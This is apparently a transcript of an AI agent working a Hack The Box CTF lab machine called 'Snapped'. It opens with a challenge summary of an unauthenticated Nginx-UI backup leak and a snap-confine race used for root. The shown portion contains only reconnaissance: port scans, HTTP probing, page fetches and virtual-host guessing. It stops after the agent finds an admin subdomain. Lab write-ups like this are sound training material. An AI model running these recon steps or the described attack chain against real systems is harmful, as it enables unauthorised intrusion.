Hack The Box - CTF Challenge
Machine Name: Snapped (Linux)
Snapped is a hard-difficulty machine that features two recent CVEs. The foothold showcases CVE-2026-27944 in Nginx-UI, which exposes the /api/backup endpoint without authentication. The endpoint will produce a full backup of the nginx and nginx-UI configuration files, and includes the key to decrypt the backup in the response headers. This leads to finding and decrypting a weak user password from the Nginx-UI database file. Root exploits CVE-2026-3888, a TOCTOU race condition between snap-confine and systemd-tmpfiles. After the system's cleanup daemon deletes a stale mimic directory under /tmp, the attacker recreates it with controlled content and single-steps snap-confine's execution via AF_UNIX socket backpressure to win the race during the mimic bind-mount sequence reliably. This poisons the sandbox's shared libraries, enabling dynamic linker hijacking on the SUID-root snap-confine binary to compromise the system.
Your goal is to retrieve:
Make sure to regularly save and document your progress, including commands used, findings, payloads, and credentials. This will allow you to resume your work in case of interruptions or roadblocks without losing critical information.
I'll solve this CTF challenge systematically. Let me start by setting up the workspace and performing initial reconnaissance.
Hack The Box - Snapped (Linux, Hard) - CVE-2026-27944 Nginx-UI backup exposure + CVE-2026-3888 TOCTOU snap-confine race condition
Interact with Windows/Active Directory networks using NetExec (nxc) across multiple protocols (SMB, LDAP, WinRM, MSSQL, SSH, and others). Supports authentication, enumeration, command execution, module-based actions, and credential operations across single hosts or network ranges.
Tests API security including authentication, authorization, business logic flaws, and workflow vulnerabilities. Use when testing REST/GraphQL APIs for IDOR, privilege escalation, rate limiting, or stateful vulnerabilities.
Automates browser interactions for web testing, form filling, screenshots, and data extraction. Use when the user needs to navigate websites, interact with web pages, fill forms, take screenshots, test web applications, or extract information from web pages.
Passive pre-check using cdncheck to identify whether a target is behind a CDN and/or protected by a WAF (based on response/technology detection). Use this before running active scanners to reduce noise, avoid WAF blocks, and choose safer scanning settings.
Discovers known vulnerabilities using Shodan's CVEDB API and public exploit availability via GitHub API. Search by CPE identifiers with version number to find CVEs, check for exploited vulnerabilities (KEV), assess exploitation likelihood (EPSS), and identify public exploit code. Use after service detection to identify vulnerabilities and exploitation risk.
Discovers hidden directories and files using ffuf with WAF detection and auto-calibration. Use when enumerating web paths, finding admin panels, backup files, or hidden endpoints during reconnaissance.
Fast HTTP probing with httpx to identify live web services and collect metadata for scoping and next-step decisions.
Analyzes suspicious files using hash lookups, binary inspection, artifact extraction, and threat intelligence. Use when investigating potential malware or analyzing suspicious binaries.
Discovers open ports and services using naabu for rapid port scanning combined with nmap for service version detection with XML output for CPE extraction. Use when enumerating open ports, identifying services, or during initial reconnaissance to map the attack surface.
Tests for SQL injection vulnerabilities using sqlmap with low-noise techniques and manual validation. Use when testing URL parameters, forms, or authenticated endpoints for database injection flaws.
Discovers subdomains using passive reconnaissance via subfinder, TLS certificate inspection with tlsx, and DNS validation with dnsx. Use when expanding attack surface, finding related assets, or during initial reconnaissance of a target domain.
Identifies specific vulnerabilities on a target using Nuclei with focused filtering by technology, tags, CVEs, severity, or template IDs. Use for precise vulnerability validation, tech-specific assessments, or controlled attack surface analysis.
Selects proportional SecLists wordlists for reconnaissance and fuzzing activities. Use to choose datasets aligned with scope, noise tolerance, and engagement constraints.
Tests for Cross-Site Scripting vulnerabilities using Dalfox for automated detection and manual validation with context-specific payloads. Use when testing URL parameters, form inputs, or analyzing reflected, stored, or DOM-based XSS.
Discovers open ports and services using naabu for rapid port scanning combined with nmap for service version detection with XML output for CPE extraction. Use when enumerating open ports, identifying services, or during initial reconnaissance to map the attack surface.
Fast HTTP probing with httpx to identify live web services and collect metadata for scoping and next-step decisions.
Tests API security including authentication, authorization, business logic flaws, and workflow vulnerabilities. Use when testing REST/GraphQL APIs for IDOR, privilege escalation, rate limiting, or stateful vulnerabilities.
Good. Now let me start with port scanning and HTTP probing against the target.
$ echo "10.129.25.16" | sudo $(which naabu) -silent -no-color -disable-update-check -display-cdn -exclude-cdn -with-host-discovery -top-ports 1000 -ip-version 4 -scan-type s 2>/dev/null10.129.25.16:80
10.129.25.16:22
Ports 22 (SSH) and 80 (HTTP) are open. Let me get service versions and probe HTTP.
$ sudo nmap "10.129.25.16" -p "22,80" -Pn -n -sV -oX - 2>/dev/null<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE nmaprun>
<?xml-stylesheet href="file:///usr/bin/../share/nmap/nmap.xsl" type="text/xsl"?>
<!-- Nmap 7.94SVN scan initiated Thu Apr 9 13:06:00 2026 as: nmap -p 22,80 -Pn -n -sV -oX - 10.129.25.16 -->
<nmaprun scanner="nmap" args="nmap -p 22,80 -Pn -n -sV -oX - 10.129.25.16" start="1775732760" startstr="Thu Apr 9 13:06:00 2026" version="7.94SVN" xmloutputversion="1.05">
<scaninfo type="syn" protocol="tcp" numservices="2" services="22,80"/>
<verbose level="0"/>
<debugging level="0"/>
<host starttime="1775732760" endtime="1775732767"><status state="up" reason="user-set" reason_ttl="0"/>
<address addr="10.129.25.16" addrtype="ipv4"/>
<hostnames>
</hostnames>
<ports><port protocol="tcp" portid="22"><state state="open" reason="syn-ack" reason_ttl="63"/><service name="ssh" product="OpenSSH" version="9.6p1 Ubuntu 3ubuntu13.15" extrainfo="Ubuntu Linux; protocol 2.0" ostype="Linux" method="probed" conf="10"><cpe>cpe:/a:openbsd:openssh:9.6p1</cpe><cpe>cpe:/o:linux:linux_kernel</cpe></service></port>
<port protocol="tcp" portid="80"><state state="open" reason="syn-ack" reason_ttl="63"/><service name="http" product="nginx" version="1.24.0" extrainfo="Ubuntu" ostype="Linux" method="probed" conf="10"><cpe>cpe:/a:igor_sysoev:nginx:1.24.0</cpe><cpe>cpe:/o:linux:linux_kernel</cpe></service></port>
</ports>
<times srtt="24965" rttvar="18769" to="100041"/>
</host>
<runstats><finished time="1775732767" timestr="Thu Apr 9 13:06:07 2026" summary="Nmap done at Thu Apr 9 13:06:07 2026; 1 IP address (1 host up) scanned in 6.50 seconds" elapsed="6.50" exit="success"/><hosts up="1" down="0" total="1"/>
</runstats>
</nmaprun>
$ echo "10.129.25.16" | httpx -silent -no-color -disable-update-check -json 2>/dev/null{"timestamp":"2026-04-09T13:06:01.361955461+02:00","port":"80","url":"http://10.129.25.16","input":"10.129.25.16","location":"http://snapped.htb/","title":"302 Found","scheme":"http","webserver":"nginx/1.24.0 (Ubuntu)","content_type":"text/html","method":"GET","host":"10.129.25.16","host_ip":"10.129.25.16","path":"/","time":"51.753152ms","a":["10.129.25.16"],"tech":["Nginx:1.24.0","Ubuntu"],"words":4,"lines":7,"status_code":302,"content_length":154,"failed":false,"knowledgebase":{"pHash":0}}
The web service redirects to snapped.htb. Let me add it to hosts and explore the Nginx-UI application.
$ grep -q "snapped.htb" /etc/hosts || echo "10.129.25.16 snapped.htb" | sudo tee -a /etc/hosts$ curl -svL http://snapped.htb/ 2>&1 | head -80* Host snapped.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.129.25.16
* Trying 10.129.25.16:80...
* Connected to snapped.htb (10.129.25.16) port 80
> GET / HTTP/1.1
> Host: snapped.htb
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.24.0 (Ubuntu)
< Date: Thu, 09 Apr 2026 11:07:03 GMT
< Content-Type: text/html
< Content-Length: 20199
< Last-Modified: Thu, 19 Mar 2026 15:11:44 GMT
< Connection: keep-alive
< ETag: "69bc1230-4ee7"
< Accept-Ranges: bytes
<
{ [1100 bytes data]
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Snapped — Infrastructure. Orchestration. Control.</title>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Instrument+Sans:wght@400;500;600;700&family=Space+Mono:wght@400;700&display=swap" rel="stylesheet">
<link rel="stylesheet" href="/style.css">
</head>
<body>
<!-- Grain -->
<div class="grain" aria-hidden="true"></div>
<!-- ========== NAV ========== -->
<nav class="nav" id="nav">
<div class="nav__inner wrap">
<a href="#" class="nav__logo">
<span class="nav__logo-mark">S</span>
<span class="nav__logo-text">Snapped</span>
</a>
<div class="nav__links" id="navLinks">
<a href="#platform">Platform</a>
<a href="#modules">Modules</a>
<a href="#network">Network</a>
<a href="#contact">Contact</a>
</div>
<div class="nav__right">
<div class="nav__status">
<span class="nav__status-dot"></span>
All Systems Operational
</div>
<button class="nav__burger" id="burger" aria-label="Menu">
<span></span><span></span>
</button>
</div>
</div>
</nav>
<!-- ========== HERO ========== -->
<header class="hero" id="hero">
<canvas id="heroCanvas"></canvas>
<div class="hero__overlay"></div>
<div class="hero__content wrap">
<p class="hero__eyebrow anim" data-d="0">APAC Infrastructure Platform</p>
<h1 class="hero__title anim" data-d="1">
The command layer<br>for <span class="hero__accent">modern infrastructure</span>
</h1>
<p class="hero__sub anim" data-d="2">
Centralized orchestration across routing, deployment, and resource management
throughout the Asia-Pacific region. Built for teams who refuse to compromise
on reliability.
</p>
<div class="hero__actions anim" data-d="3">
<a href="#modules" class="btn btn--primary">Explore the platform</a>
<a href="#contact" class="btn btn--ghost">Talk to us</a>
</div>
<div class="hero__stats anim" data-d="4">
This is a landing page. The challenge mentions Nginx-UI. Let me look for common Nginx-UI paths.
$ curl -s http://snapped.htb/login 2>/dev/null | head -20 && echo "---" && curl -s http://snapped.htb/api/ 2>/dev/null | head -20 && echo "---" && curl -s http://snapped.htb/nginx/ 2>/dev/null | head -20<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.24.0 (Ubuntu)</center>
</body>
</html>
---
<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.24.0 (Ubuntu)</center>
</body>
</html>
---
<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.24.0 (Ubuntu)</center>
</body>
</html>
Nginx-UI usually runs on a separate port. Let me scan for additional ports and also check common Nginx-UI ports (like 9000, 8080, etc.).
$ sudo nmap "10.129.25.16" -p 8080,8443,9000,9001,443,3000,3001,2080,2083,8888,9090,9999,5000,8000 -Pn -n -sV --open 2>/dev/nullStarting Nmap 7.94SVN ( https://nmap.org ) at 2026-04-09 13:07 CEST
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds
No additional ports from that scan. Let me do a more comprehensive scan.
$ sudo nmap "10.129.25.16" -p- -Pn -n --min-rate 5000 2>/dev/null | grep open22/tcp open ssh
80/tcp open http
Only ports 22 and 80. So Nginx-UI must be accessed via the web server on port 80. Let me check for virtual hosts or subdirectories. Nginx-UI typically has paths like /ui/, /admin/, or is on a subdomain.
$ curl -s http://snapped.htb/ 2>/dev/null | grep -oP '(href|src)="[^"]*"' | sort -uhref="#"
href="#contact"
href="#modules"
href="#network"
href="#platform"
href="/style.css"
href="https://fonts.googleapis.com"
href="https://fonts.googleapis.com/css2?family=Instrument+Sans:wght@400;500;600;700&family=Space+Mono:wght@400;700&display=swap"
href="https://fonts.gstatic.com"
href="mailto:contact@snapped.htb"
$ curl -s http://snapped.htb/style.css 2>/dev/null | head -5 && echo "---" && curl -s http://snapped.htb/ 2>/dev/null | grep -i "script" | head -20/* ============================================================
SNAPPED — Command Nexus Theme
============================================================ */
*, *::before, *::after { margin: 0; padding: 0; box-sizing: border-box; }
---
<script>
</script>
$ curl -s http://snapped.htb/ 2>/dev/null | grep -oP 'script[^>]*>' | head -20script>
script>
Let me check for common Nginx-UI subdomain patterns and look at the full page source more carefully.
$ curl -s http://snapped.htb/ 2>/dev/null > /tmp/snapped_index.html && wc -l /tmp/snapped_index.html && cat /tmp/snapped_index.html539 /tmp/snapped_index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Snapped — Infrastructure. Orchestration. Control.</title>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Instrument+Sans:wght@400;500;600;700&family=Space+Mono:wght@400;700&display=swap" rel="stylesheet">
<link rel="stylesheet" href="/style.css">
</head>
<body>
<!-- Grain -->
<div class="grain" aria-hidden="true"></div>
<!-- ========== NAV ========== -->
<nav class="nav" id="nav">
<div class="nav__inner wrap">
<a href="#" class="nav__logo">
<span class="nav__logo-mark">S</span>
<span class="nav__logo-text">Snapped</span>
</a>
<div class="nav__links" id="navLinks">
<a href="#platform">Platform</a>
<a href="#modules">Modules</a>
<a href="#network">Network</a>
<a href="#contact">Contact</a>
</div>
<div class="nav__right">
<div class="nav__status">
<span class="nav__status-dot"></span>
All Systems Operational
</div>
<button class="nav__burger" id="burger" aria-label="Menu">
<span></span><span></span>
</button>
</div>
</div>
</nav>
<!-- ========== HERO ========== -->
<header class="hero" id="hero">
<canvas id="heroCanvas"></canvas>
<div class="hero__overlay"></div>
<div class="hero__content wrap">
<p class="hero__eyebrow anim" data-d="0">APAC Infrastructure Platform</p>
<h1 class="hero__title anim" data-d="1">
The command layer<br>for <span class="hero__accent">modern infrastructure</span>
</h1>
<p class="hero__sub anim" data-d="2">
Centralized orchestration across routing, deployment, and resource management
throughout the Asia-Pacific region. Built for teams who refuse to compromise
on reliability.
</p>
<div class="hero__actions anim" data-d="3">
<a href="#modules" class="btn btn--primary">Explore the platform</a>
<a href="#contact" class="btn btn--ghost">Talk to us</a>
</div>
<div class="hero__stats anim" data-d="4">
<div class="hero__stat">
<span class="hero__stat-val">99.99%</span>
<span class="hero__stat-lbl">Uptime SLA</span>
</div>
<div class="hero__stat-sep"></div>
<div class="hero__stat">
<span class="hero__stat-val"><5ms</span>
<span class="hero__stat-lbl">Avg Latency</span>
</div>
<div class="hero__stat-sep"></div>
<div class="hero__stat">
<span class="hero__stat-val">12</span>
<span class="hero__stat-lbl">APAC Regions</span>
</div>
<div class="hero__stat-sep"></div>
<div class="hero__stat">
<span class="hero__stat-val">10M+</span>
<span class="hero__stat-lbl">Requests / Day</span>
</div>
</div>
</div>
<div class="hero__scroll-hint anim" data-d="5">
<div class="hero__scroll-line"></div>
</div>
</header>
<!-- ========== PLATFORM ========== -->
<section class="platform" id="platform">
<div class="wrap">
<div class="platform__header">
<span class="eyebrow reveal">Platform</span>
<h2 class="section-title reveal">One control plane.<br>Every region.</h2>
<p class="section-sub reveal">
Snapped replaces fragmented tooling with a unified control plane.
Deploy across regions, observe in real time, and enforce security policies — all from a single interface.
</p>
</div>
<div class="platform__grid">
<div class="platform__card reveal" data-accent="teal">
<div class="platform__card-num">01</div>
<h3>Orchestrate</h3>
<p>Deploy and scale services across distributed APAC infrastructure with automated rollout strategies and zero-downtime deployments.</p>
</div>
<div class="platform__card reveal" data-accent="blue">
<div class="platform__card-num">02</div>
<h3>Observe</h3>
<p>Real-time metrics, distributed tracing, and log aggregation. Sub-second visibility across every node, every region.</p>
</div>
<div class="platform__card reveal" data-accent="violet">
<div class="platform__card-num">03</div>
<h3>Secure</h3>
<p>Zero-trust access policies, automated certificate rotation, and continuous compliance scanning across all infrastructure.</p>
</div>
<div class="platform__card reveal" data-accent="amber">
<div class="platform__card-num">04</div>
<h3>Scale</h3>
<p>From edge gateways to core services, handle 10M+ daily requests with intelligent load distribution and auto-scaling.</p>
</div>
</div>
</div>
</section>
<!-- ========== MODULES ========== -->
<section class="modules" id="modules">
<div class="wrap">
<span class="eyebrow reveal">Core Modules</span>
<h2 class="section-title reveal">Five modules.<br>Complete coverage.</h2>
<div class="modules__list">
<div class="module reveal" data-color="teal">
<div class="module__left">
<span class="module__idx">01</span>
<h3 class="module__name">Edge Gateway</h3>
</div>
<p class="module__desc">Intelligent request routing and load balancing at the edge. SSL termination, protocol translation, and high-performance traffic distribution across your entire infrastructure.</p>
<div class="module__tags">
<span>Load Balancing</span><span>SSL</span><span>Routing</span><span>Protocol Translation</span>
</div>
</div>
<div class="module reveal" data-color="blue">
<div class="module__left">
<span class="module__idx">02</span>
<h3 class="module__name">Service Runtime</h3>
</div>
<p class="module__desc">Container orchestration and service deployment across distributed environments. Automated rollout strategies, canary deployments, and continuous health monitoring.</p>
<div class="module__tags">
<span>Containers</span><span>Orchestration</span><span>Health Checks</span>
</div>
</div>
<div class="module reveal" data-color="violet">
<div class="module__left">
<span class="module__idx">03</span>
<h3 class="module__name">System Configuration</h3>
</div>
<p class="module__desc">Centralized configuration management and secrets distribution. Versioned configuration state and secure credential injection across every region.</p>
<div class="module__tags">
<span>Secrets</span><span>Versioned Config</span><span>Credential Injection</span>
</div>
</div>
<div class="module reveal" data-color="amber">
<div class="module__left">
<span class="module__idx">04</span>
<h3 class="module__name">Diagnostics & Observability</h3>
</div>
<p class="module__desc">Comprehensive monitoring, logging, and distributed tracing. Real-time metrics collection and log aggregation for complete visibility into system behavior.</p>
<div class="module__tags">
<span>Metrics</span><span>Tracing</span><span>Logging</span><span>Alerts</span>
</div>
</div>
<div class="module reveal" data-color="rose">
<div class="module__left">
<span class="module__idx">05</span>
<h3 class="module__name">Security & Access Control</h3>
</div>
<p class="module__desc">Identity-based access management with encryption at rest and in transit. Fine-grained RBAC policies, certificate management, and automated security scanning.</p>
<div class="module__tags">
<span>RBAC</span><span>Encryption</span><span>Certificates</span><span>Scanning</span>
</div>
</div>
</div>
</div>
</section>
<!-- ========== NETWORK ========== -->
<section class="network" id="network">
<div class="wrap">
<div class="network__layout">
<div class="network__info">
<span class="eyebrow reveal">Network</span>
<h2 class="section-title reveal">APAC-wide<br>presence.</h2>
<p class="network__text reveal">
Primary infrastructure hub in Yuza, Yamagata Prefecture, Japan — with 12 edge nodes
spanning Singapore, Australia, South Korea, Hong Kong, and India. Low-latency access
across every major APAC market.
</p>
<div class="network__nodes reveal">
<div class="network__node">
<span class="network__node-dot network__node-dot--primary"></span>
<div>
<strong>Yuza, Japan</strong>
<span>Primary Hub</span>
</div>
</div>
<div class="network__node">
<span class="network__node-dot network__node-dot--edge"></span>
<div>
<strong>APAC Edge</strong>
<span>12 Nodes</span>
</div>
</div>
<div class="network__node">
<span class="network__node-dot network__node-dot--mesh"></span>
<div>
<strong>Core Mesh</strong>
<span>Fully Redundant</span>
</div>
</div>
</div>
</div>
<div class="network__viz reveal">
<canvas id="networkCanvas"></canvas>
</div>
</div>
</div>
</section>
<!-- ========== CONTACT ========== -->
<section class="contact" id="contact">
<div class="wrap">
<span class="eyebrow reveal">Contact</span>
<h2 class="section-title reveal">Let's build<br>something resilient.</h2>
<div class="contact__grid">
<div class="contact__card reveal">
<h3>Headquarters</h3>
<address>
Yuza Tech Park, Building 3<br>
1-12 Shonai Avenue<br>
Yuza, Yamagata Prefecture 999-8301<br>
Japan
</address>
</div>
<div class="contact__card reveal">
<h3>Communications</h3>
<p>
<a href="mailto:contact@snapped.htb">contact@snapped.htb</a>
</p>
<p class="contact__note">Typically respond within 24 hours</p>
</div>
</div>
</div>
</section>
<!-- ========== FOOTER ========== -->
<footer class="footer">
<div class="wrap footer__inner">
<div class="footer__brand">
<span class="nav__logo-mark nav__logo-mark--sm">S</span>
<div>
<p class="footer__name">Snapped Management Systems</p>
<p class="footer__sub">Infrastructure Division</p>
</div>
</div>
<div class="footer__links">
<a href="#platform">Platform</a>
<a href="#modules">Modules</a>
<a href="#network">Network</a>
<a href="#contact">Contact</a>
</div>
<p class="footer__ver">v1.0.0</p>
</div>
</footer>
<script>
(function () {
/* ── NAV ── */
var nav = document.getElementById('nav');
var burger = document.getElementById('burger');
var navLinks = document.getElementById('navLinks');
window.addEventListener('scroll', function () {
nav.classList.toggle('nav--scrolled', scrollY > 40);
});
burger.addEventListener('click', function () {
burger.classList.toggle('open');
navLinks.classList.toggle('open');
});
var anchors = navLinks.querySelectorAll('a');
for (var i = 0; i < anchors.length; i++) {
anchors[i].addEventListener('click', function () {
burger.classList.remove('open');
navLinks.classList.remove('open');
});
}
/* ── SMOOTH SCROLL ── */
var scrollLinks = document.querySelectorAll('a[href^="#"]');
for (var s = 0; s < scrollLinks.length; s++) {
scrollLinks[s].addEventListener('click', function (e) {
e.preventDefault();
var target = document.querySelector(this.getAttribute('href'));
if (target) target.scrollIntoView({ behavior: 'smooth' });
});
}
/* ── HERO ANIM STAGGER ── */
var anims = document.querySelectorAll('.anim');
for (var a = 0; a < anims.length; a++) {
anims[a].style.animationDelay = (parseInt(anims[a].dataset.d) * 0.12 + 0.3) + 's';
}
/* ── SCROLL REVEAL ── */
var io = new IntersectionObserver(function (entries) {
entries.forEach(function (e) {
if (e.isIntersecting) {
e.target.classList.add('in');
io.unobserve(e.target);
}
});
}, { threshold: 0.12, rootMargin: '0px 0px -60px 0px' });
var revealEls = document.querySelectorAll('.reveal');
for (var r = 0; r < revealEls.length; r++) {
revealEls[r].style.transitionDelay = ((r % 4) * 0.09) + 's';
io.observe(revealEls[r]);
}
/* ── HERO CANVAS — TOPOLOGY NETWORK ── */
var hc = document.getElementById('heroCanvas');
var hctx = hc.getContext('2d');
var nodes = [];
var hW, hH;
var mouse = { x: -9999, y: -9999 };
function hResize() {
var hero = document.getElementById('hero');
hW = hc.width = hero.offsetWidth;
hH = hc.height = hero.offsetHeight;
nodes = [];
var count = Math.min(60, Math.floor(hW * hH / 18000));
for (var i = 0; i < count; i++) nodes.push(makeNode());
}
function makeNode() {
return {
x: Math.random() * hW,
y: Math.random() * hH,
vx: (Math.random() - 0.5) * 0.25,
vy: (Math.random() - 0.5) * 0.25,
r: Math.random() * 2 + 1,
pulse: Math.random() * Math.PI * 2
};
}
hResize();
window.addEventListener('resize', hResize);
document.getElementById('hero').addEventListener('mousemove', function (e) {
var rect = hc.getBoundingClientRect();
mouse.x = e.clientX - rect.left;
mouse.y = e.clientY - rect.top;
});
document.getElementById('hero').addEventListener('mouseleave', function () {
mouse.x = -9999; mouse.y = -9999;
});
function heroFrame(t) {
hctx.clearRect(0, 0, hW, hH);
var time = t * 0.001;
for (var i = 0; i < nodes.length; i++) {
var n = nodes[i];
n.x += n.vx;
n.y += n.vy;
if (n.x < 0 || n.x > hW) n.vx *= -1;
if (n.y < 0 || n.y > hH) n.vy *= -1;
var dx = mouse.x - n.x, dy = mouse.y - n.y;
var md = Math.sqrt(dx * dx + dy * dy);
if (md < 200) {
n.x -= dx * 0.008;
n.y -= dy * 0.008;
}
var pulse = Math.sin(time * 1.5 + n.pulse) * 0.3 + 0.7;
hctx.beginPath();
hctx.arc(n.x, n.y, n.r * pulse, 0, Math.PI * 2);
hctx.fillStyle = 'rgba(0,240,255,' + (0.5 * pulse) + ')';
hctx.fill();
// glow
hctx.beginPath();
hctx.arc(n.x, n.y, n.r * 3 * pulse, 0, Math.PI * 2);
hctx.fillStyle = 'rgba(0,240,255,' + (0.06 * pulse) + ')';
hctx.fill();
}
// connections
for (var a = 0; a < nodes.length; a++) {
for (var b = a + 1; b < nodes.length; b++) {
var ddx = nodes[a].x - nodes[b].x;
var ddy = nodes[a].y - nodes[b].y;
var dd = ddx * ddx + ddy * ddy;
if (dd < 22000) {
var alpha = 0.12 * (1 - dd / 22000);
hctx.beginPath();
hctx.moveTo(nodes[a].x, nodes[a].y);
hctx.lineTo(nodes[b].x, nodes[b].y);
hctx.strokeStyle = 'rgba(0,240,255,' + alpha + ')';
hctx.lineWidth = 0.6;
hctx.stroke();
}
}
}
requestAnimationFrame(heroFrame);
}
requestAnimationFrame(heroFrame);
/* ── NETWORK CANVAS — ORBITAL MAP ── */
var nc = document.getElementById('networkCanvas');
var nctx = nc.getContext('2d');
var nW, nH;
var nData = [
{ label: 'JP', angle: 0, orbit: 0, color: '#00F0FF', primary: true },
{ label: 'SG', angle: 0.9, orbit: 1, color: '#00F0FF' },
{ label: 'AU', angle: 2.1, orbit: 1, color: '#00F0FF' },
{ label: 'KR', angle: 3.5, orbit: 0.7, color: '#00F0FF' },
{ label: 'HK', angle: 4.5, orbit: 1, color: '#00F0FF' },
{ label: 'IN', angle: 5.5, orbit: 0.85, color: '#00F0FF' }
];
function nResize() {
var container = nc.parentElement;
nW = nc.width = container.offsetWidth;
nH = nc.height = container.offsetHeight;
}
nResize();
window.addEventListener('resize', nResize);
function drawNetwork(t) {
nctx.clearRect(0, 0, nW, nH);
var cx = nW / 2, cy = nH / 2;
var maxR = Math.min(nW, nH) * 0.38;
var time = t * 0.001;
// orbit rings
for (var ring = 1; ring <= 3; ring++) {
var rr = maxR * (ring / 3);
var pulse = Math.sin(time * 0.5 + ring) * 0.05 + 1;
nctx.beginPath();
nctx.arc(cx, cy, rr * pulse, 0, Math.PI * 2);
nctx.strokeStyle = 'rgba(0,240,255,' + (0.06 + (3 - ring) * 0.03) + ')';
nctx.lineWidth = 1;
nctx.stroke();
}
// calc positions
var positions = [];
for (var i = 0; i < nData.length; i++) {
var d = nData[i];
if (d.primary) {
positions.push({ x: cx, y: cy, label: d.label, color: d.color, primary: true });
} else {
var a = d.angle + time * 0.08;
var r = maxR * d.orbit;
positions.push({
x: cx + Math.cos(a) * r,
y: cy + Math.sin(a) * r,
label: d.label,
color: d.color,
primary: false
});
}
}
// connection lines
for (var j = 1; j < positions.length; j++) {
var p0 = positions[0], p1 = positions[j];
var grad = nctx.createLinearGradient(p0.x, p0.y, p1.x, p1.y);
grad.addColorStop(0, 'rgba(0,240,255,0.25)');
grad.addColorStop(1, 'rgba(0,240,255,0.03)');
nctx.beginPath();
nctx.moveTo(p0.x, p0.y);
nctx.lineTo(p1.x, p1.y);
nctx.strokeStyle = grad;
nctx.lineWidth = 1;
nctx.setLineDash([4, 6]);
nctx.stroke();
nctx.setLineDash([]);
// traveling pulse
var prog = ((time * 0.3 + j * 0.5) % 1);
var px = p0.x + (p1.x - p0.x) * prog;
var py = p0.y + (p1.y - p0.y) * prog;
nctx.beginPath();
nctx.arc(px, py, 2, 0, Math.PI * 2);
nctx.fillStyle = 'rgba(0,240,255,0.7)';
nctx.fill();
}
// draw nodes
for (var k = 0; k < positions.length; k++) {
var nd = positions[k];
var sz = nd.primary ? 32 : 20;
// outer glow
var glowR = sz * 2;
var glow = nctx.createRadialGradient(nd.x, nd.y, 0, nd.x, nd.y, glowR);
glow.addColorStop(0, nd.primary ? 'rgba(0,240,255,0.15)' : 'rgba(0,240,255,0.08)');
glow.addColorStop(1, 'rgba(0,240,255,0)');
nctx.beginPath();
nctx.arc(nd.x, nd.y, glowR, 0, Math.PI * 2);
nctx.fillStyle = glow;
nctx.fill();
// node circle
nctx.beginPath();
nctx.arc(nd.x, nd.y, sz / 2, 0, Math.PI * 2);
nctx.fillStyle = nd.primary ? '#00F0FF' : 'rgba(6,8,12,0.9)';
nctx.fill();
nctx.strokeStyle = 'rgba(0,240,255,' + (nd.primary ? '0.8' : '0.4') + ')';
nctx.lineWidth = nd.primary ? 2 : 1;
nctx.stroke();
// label
nctx.font = (nd.primary ? '700 13px' : '500 10px') + ' "Space Mono", monospace';
nctx.fillStyle = nd.primary ? '#06080C' : '#00F0FF';
nctx.textAlign = 'center';
nctx.textBaseline = 'middle';
nctx.fillText(nd.label, nd.x, nd.y + (nd.primary ? 0.5 : 0));
}
requestAnimationFrame(drawNetwork);
}
requestAnimationFrame(drawNetwork);
})();
</script>
</body>
</html>
The page is a static landing page. Nginx-UI is likely on a subdomain. Let me check for subdomains and also try common Nginx-UI paths directly.
$ curl -sv http://10.129.25.16/ -H "Host: nginx-ui.snapped.htb" 2>&1 | head -30* Trying 10.129.25.16:80...
* Connected to 10.129.25.16 (10.129.25.16) port 80
> GET / HTTP/1.1
> Host: nginx-ui.snapped.htb
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 302 Moved Temporarily
< Server: nginx/1.24.0 (Ubuntu)
< Date: Thu, 09 Apr 2026 11:08:39 GMT
< Content-Type: text/html
< Content-Length: 154
< Connection: keep-alive
< Location: http://snapped.htb/
<
{ [154 bytes data]
* Connection #0 to host 10.129.25.16 left intact
<html>
<head><title>302 Found</title></head>
<body>
<center><h1>302 Found</h1></center>
<hr><center>nginx/1.24.0 (Ubuntu)</center>
</body>
</html>
$ curl -sv http://10.129.25.16/ -H "Host: ui.snapped.htb" 2>&1 | head -30* Trying 10.129.25.16:80...
* Connected to 10.129.25.16 (10.129.25.16) port 80
> GET / HTTP/1.1
> Host: ui.snapped.htb
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 302 Moved Temporarily
< Server: nginx/1.24.0 (Ubuntu)
< Date: Thu, 09 Apr 2026 11:08:39 GMT
< Content-Type: text/html
< Content-Length: 154
< Connection: keep-alive
< Location: http://snapped.htb/
<
{ [154 bytes data]
* Connection #0 to host 10.129.25.16 left intact
<html>
<head><title>302 Found</title></head>
<body>
<center><h1>302 Found</h1></center>
<hr><center>nginx/1.24.0 (Ubuntu)</center>
</body>
</html>
$ curl -sv http://10.129.25.16/ -H "Host: admin.snapped.htb" 2>&1 | head -30* Trying 10.129.25.16:80...
* Connected to 10.129.25.16 (10.129.25.16) port 80
> GET / HTTP/1.1
> Host: admin.snapped.htb
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: nginx/1.24.0 (Ubuntu)
< Date: Thu, 09 Apr 2026 11:08:39 GMT
< Content-Type: text/html; charset=utf-8
< Content-Length: 1407
< Connection: keep-alive
< Accept-Ranges: bytes
< Request-Id: 027d4d9a-16b0-410b-a650-58896d544b9d
<
{ [1407 bytes data]
* Connection #0 to host 10.129.25.16 left intact
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<link href="./favicon.ico" rel="icon">
<link href="./favicon-32x32.png" rel="icon" type="image/png" sizes="32x32">
<meta content="width=device-width,initial-scale=1.0,user-scalable=0" name="viewport">
<!-- PWA Manifest -->
